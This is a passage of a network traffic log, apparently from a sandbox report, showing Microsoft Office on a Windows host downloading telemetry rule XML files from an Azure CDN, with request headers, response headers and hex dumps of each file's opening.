Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:22 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:22 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: d4662715-001e-002b-50ac-3899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162422Z-164f84587bfr8hdmhC1DFWt5nc000000049g00000000c02b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:22 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49944	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:22 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:22 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 1d8bef7c-801e-002a-176f-3731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162422Z-164f84587bfsqsthhC1DFWh63000000005700000000040qq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:22 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49945	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:22 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:22 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162422Z-16547b76f7fqqjnnhC1DFWxv7400000004ag00000000eh9q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:22 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49946	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:22 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:22 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162422Z-1866b5c5fbbg9tvxhC1DFWy9mg00000001u000000000n4mr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:22 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49947	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:22 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 244cb6a9-901e-0048-0390-38b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162423Z-1866b5c5fbb2t6txhC1DFWa2qc00000005zg00000000gps0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:23 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49948	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:23 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 769defec-e01e-0085-6a89-38c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162423Z-164f84587bfdt5l2hC1DFW88gs00000004e00000000058c6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:23 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49949	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:23 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 752b16b4-801e-0067-02c3-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162423Z-164f84587bflm48hhC1DFW0nf800000002qg00000000s3qn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:23 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49950	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:23 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162423Z-16547b76f7fgvq8chC1DFWhd2w00000006m000000000f1f6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:23 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49951	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:23 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 56128767-e01e-0071-6e9b-3808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162423Z-16547b76f7ff9zf4hC1DFW2pfc00000003ng00000000c510 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:23 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49952	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:23 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162423Z-1866b5c5fbbr78bbhC1DFWqz2n00000006700000000074hw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:23 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49953	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:23 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: e3d993a2-401e-0083-2409-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162424Z-16547b76f7ff9zf4hC1DFW2pfc00000003qg000000003wmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:24 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49954	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:23 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e0fa4109-b01e-0070-571f-371cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162424Z-164f84587bfr8hdmhC1DFWt5nc000000046g00000000q792 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
